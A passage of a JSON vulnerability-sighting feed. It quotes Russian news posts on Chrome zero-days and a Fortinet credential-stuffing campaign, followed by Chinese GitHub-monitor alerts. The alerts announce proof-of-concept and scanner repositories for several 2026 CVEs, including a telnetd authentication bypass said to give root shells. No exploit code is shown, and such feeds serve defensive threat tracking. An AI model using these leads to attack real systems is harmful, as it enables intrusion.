\u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u043e\u0433\u043e \u0434\u0438\u0430\u043f\u0430\u0437\u043e\u043d\u0430, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0430\u044f 0-day \u043c\u043e\u0436\u0435\u0442 \u0442\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u0432 \u0437\u0430\u0449\u0438\u0442\u044b, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a ASLR, \u0447\u0442\u043e \u0443\u043f\u0440\u043e\u0449\u0430\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0447\u0435\u0440\u0435\u0437 \u0434\u0440\u0443\u0433\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c.\n\nGoogle \u0442\u0440\u0430\u0434\u0438\u0446\u0438\u043e\u043d\u043d\u043e \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0435\u0439 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e\u0431 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 CVE-2024-0519 \u0432 \u0430\u0442\u0430\u043a\u0430\u0445, \u043d\u043e \u043f\u043e\u043a\u0430 \u043d\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u043e\u0431 \u044d\u0442\u0438\u0445 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430\u0445.\n\n\u0421 \u043d\u0430\u0447\u0430\u043b\u0430 \u0433\u043e\u0434\u0430 Google \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0435\u0449\u0435 \u0447\u0435\u0442\u044b\u0440\u0435 \u043d\u0443\u043b\u044f, \u0432\u043a\u043b\u044e\u0447\u0430\u044f CVE-2026-2441 \u0432 CSSFontFeatureValuesMap, CVE-2026-3909 \u0432 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 2D-\u0433\u0440\u0430\u0444\u0438\u043a\u0438 Skia, \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 V8 JavaScript \u0438 WebAssembly (CVE-2026-3910), \u0430 \u0442\u0430\u043a\u0436\u0435 use-after-free \u0432\u00a0Dawn\u00a0(CVE-2026-5281).\n\n\u041f\u0440\u043e\u0448\u043b\u044b\u0439 \u0433\u043e\u0434 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0437\u0430\u043a\u0440\u044b\u043b\u0430 \u0432\u043e\u0441\u0435\u043c\u044c\u044e 0-day , \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0432 \u0430\u0442\u0430\u043a\u0430\u0445, \u043c\u043d\u043e\u0433\u0438\u0445 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0430 \u0433\u0440\u0443\u043f\u043f\u0430 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0443\u0433\u0440\u043e\u0437 (TAG) \u0432 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0435 \u043a spyware.", "creation_timestamp": "2026-07-13T00:00:46.812693Z"}, {"uuid": "a64a71d2-e6a0-4abe-a5b3-4bfb3581ed06", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://t.me/true_secator/8332", "content": "Fortinet \u043e\u0442\u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u043d\u0430 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044e FortiBleed, \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0441\u043e\u0431\u0440\u0430\u043b\u0438 \u0431\u0430\u0437\u0443 \u0434\u0430\u043d\u043d\u044b\u0445, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0443\u044e \u0431\u043e\u043b\u0435\u0435\u00a086 000 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043d\u044b\u0445 \u0440\u0430\u0431\u043e\u0447\u0438\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445\u00a0\u0434\u043b\u044f \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 Fortinet \u0432 194 \u0441\u0442\u0440\u0430\u043d\u0430\u0445.\n\n\u041f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u0430\u044f \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u043e \u0441\u0431\u043e\u0440\u0443 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0432 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u043d\u0430 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u044d\u043a\u0440\u0430\u043d\u044b \u0438 VPN-\u0441\u0435\u0442\u0438 \u0435\u0435 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432, \u043d\u0435 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u043d\u043e\u0432\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\u041d\u0430 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0438 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0432 Fortinet \u0441\u0447\u0438\u0442\u0430\u044e\u0442, \u0447\u0442\u043e \u0432 \u0445\u043e\u0434\u0435 \u044d\u0442\u043e\u0439 \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u0437 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0445 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u043e\u0432 \u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u044e\u0442 \u043c\u0435\u0442\u043e\u0434\u044b \u043f\u0435\u0440\u0435\u0431\u043e\u0440\u0430 \u043f\u0430\u0440\u043e\u043b\u0435\u0439 \u043a \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c \u0441\u043e \u0441\u043b\u0430\u0431\u044b\u043c\u0438 \u043f\u0430\u0440\u043e\u043b\u044f\u043c\u0438 \u0438 \u0431\u0435\u0437 MFA.\n\n\u0412 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0445 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430\u0445, \u043e \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 Fortinet, \u0440\u0435\u0447\u044c \u0448\u043b\u0430 \u043e\u0431 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0442\u0440\u0435\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0445 \u043e\u0431\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u043f\u0440\u0438 \u0432\u0445\u043e\u0434\u0435 \u0432 FortiCloud SSO: CVE-2026-24858, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0432 \u044f\u043d\u0432\u0430\u0440\u0435, \u0438 CVE-2025-59718 \u043d\u0430 \u043f\u0430\u0440\u0443 \u0441 CVE-2025-59719, \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0435 \u0432 \u0434\u0435\u043a\u0430\u0431\u0440\u0435.\n\nFortinet \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u0432 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u043f\u0440\u043e\u0448\u043b\u044b\u0445 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0439, \u0438 \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u0432\u0441\u0435\u043c \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u0443\u0431\u0435\u0434\u0438\u0442\u044c\u0441\u044f \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u044d\u0442\u0438 \u043c\u0435\u0440\u044b \u043f\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0431\u044b\u043b\u0438 \u0432 \u043f\u043e\u043b\u043d\u043e\u043c \u043e\u0431\u044a\u0435\u043c\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u044b..\n\n\u0412 \u043c\u0430\u0440\u0442\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u043b\u0430 \u043e\u0431 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0418\u0418 \u0434\u043b\u044f \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0446\u0435\u043b\u0435\u0439 \u0438 \u043f\u043e\u0434\u0431\u043e\u0440\u0430 \u043f\u0430\u0440\u043e\u043b\u0435\u0439 \u0432 \u0448\u0438\u0440\u043e\u043a\u043e\u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445, \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u043f\u043b\u043e\u0445\u043e \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0435 \u043f\u0435\u0440\u0438\u0444\u0435\u0440\u0438\u0439\u043d\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.\n\n\u0412 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0438 \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e FortiBleed \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0442\u0435 \u0436\u0435 \u043c\u0435\u0442\u043e\u0434\u044b, \u0430 \u043d\u0435 \u043d\u043e\u0432\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Fortinet. \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0432\u044b\u044f\u0432\u0438\u043b\u0430 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043d\u0430\u0447\u0430\u043b\u0430 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u044f\u0442\u044c \u043f\u043e\u0441\u0442\u0440\u0430\u0434\u0430\u0432\u0448\u0438\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0432 \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u0430\u0432\u043e\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043e\u0440\u0433\u0430\u043d\u044b.\n\n\u041a\u043b\u0438\u0435\u043d\u0442\u0430\u043c, \u0443 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0431\u044b\u043b\u0438 \u0432\u0437\u043b\u043e\u043c\u0430\u043d\u044b FortiGate, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0437\u0430\u0432\u0435\u0440\u0448\u0438\u0442\u044c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u0438 VPN-\u0441\u0435\u0441\u0441\u0438\u0438, \u0441\u043c\u0435\u043d\u0438\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0432\u043d\u0435\u0434\u0440\u0438\u0442\u044c MFA \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432 \u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 VPN, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u041f\u041e \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0439, \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044e\u0449\u0438\u0445 \u0445\u0435\u0448\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e PBKDF2.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u0438 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u0430 \u0438 VPN \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439, \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0436\u0443\u0440\u043d\u0430\u043b\u044b \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u043d\u0435\u043e\u0436\u0438\u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0432\u043d\u0435\u0448\u043d\u0435\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c\u0438 \u0445\u043e\u0441\u0442\u0430\u043c\u0438.", "creation_timestamp": "2026-07-13T13:00:07.572423Z"}, {"uuid": "4d8cc58d-c4ff-4402-a265-3cf8e78f13ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://t.me/GithubRedTeam/92848", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #Vulnerability Scanner\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a Abyssal\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a stoerti2\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-10 15:04:02\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nAbyssal is a high-performance Telnet vulnerability scanner for CVE-2026-24061,  delivering root shells on vulnerable systems with false-positive detection.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:05.015254Z"}, {"uuid": "5106aa73-3346-4305-88d6-bc06c5e9fac5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://t.me/GithubRedTeam/92230", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-24061\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a harygovind\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-06 17:58:56\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-24061-PoC\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:10.782314Z"}, {"uuid": "74b90ae0-4850-4b26-9212-d386bde1166d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://t.me/GithubRedTeam/92153", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit #Nuclei\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-24061\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a sh4den\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 5  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 1\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-06 08:39:09\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nProof of Concept: CVE-2026-24061 is a critical authentication bypass vulnerability in GNU inetutils-telnetd allowing unauthenticated remote attackers to gain instant root shell access via malicious NEW_ENVIRON telnet option exploitation.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:11.995581Z"}, {"uuid": "df74e93f-a45a-4bb7-9118-79c972346c9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24688", "type": "seen", "source": "https://t.me/GithubRedTeam/89977", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a cve-2026-24688\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Fomovet\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-21 14:31:50\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPOC for CVE-2026-24688\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:21.716002Z"}, {"uuid": "7485f672-e88f-47f0-9c6f-0098b7cda5a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24207", "type": "seen", "source": "https://t.me/GithubRedTeam/90665", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-24207\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a offseckit\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-26 06:59:57\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-24207 \u2014 NVIDIA Triton SageMaker auth bypass to unauth RCE. Detection script, bypass demo, RCE-chain PoC, and IDS rules.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:18.803678Z"}, {"uuid": "14716e4c-6252-404d-b3c6-9b759369ecbc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/92848", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #Vulnerability Scanner\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a Abyssal\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a stoerti2\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-10 15:04:02\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nAbyssal is a high-performance Telnet vulnerability scanner for CVE-2026-24061,  delivering root shells on vulnerable systems with false-positive detection.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-14T00:00:07.865726Z"}, {"uuid": "8add6d9e-89d5-4643-8dd2-b140a60c36e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://t.me/GithubRedTeam/92230", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-24061\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a harygovind\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-06 17:58:56\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-24061-PoC\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-14T00:00:19.277674Z"}, {"uuid": "6cfcafed-52b5-4a40-839f-28ff9699e021", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://t.me/GithubRedTeam/92153", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit #Nuclei\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-24061\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a sh4den\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 5  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 1\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-06 08:39:09\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nProof of Concept: CVE-2026-24061 is a critical authentication bypass vulnerability in GNU inetutils-telnetd allowing unauthenticated remote attackers to gain instant root shell access via malicious NEW_ENVIRON telnet option exploitation.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-14T00:00:20.229511Z"}, {"uuid": "a9f2d2f1-b0a1-4041-a0dc-0a7dfbe6b21c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24207", "type": "seen", "source": "https://t.me/GithubRedTeam/90665", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-24207\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a offseckit\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-26 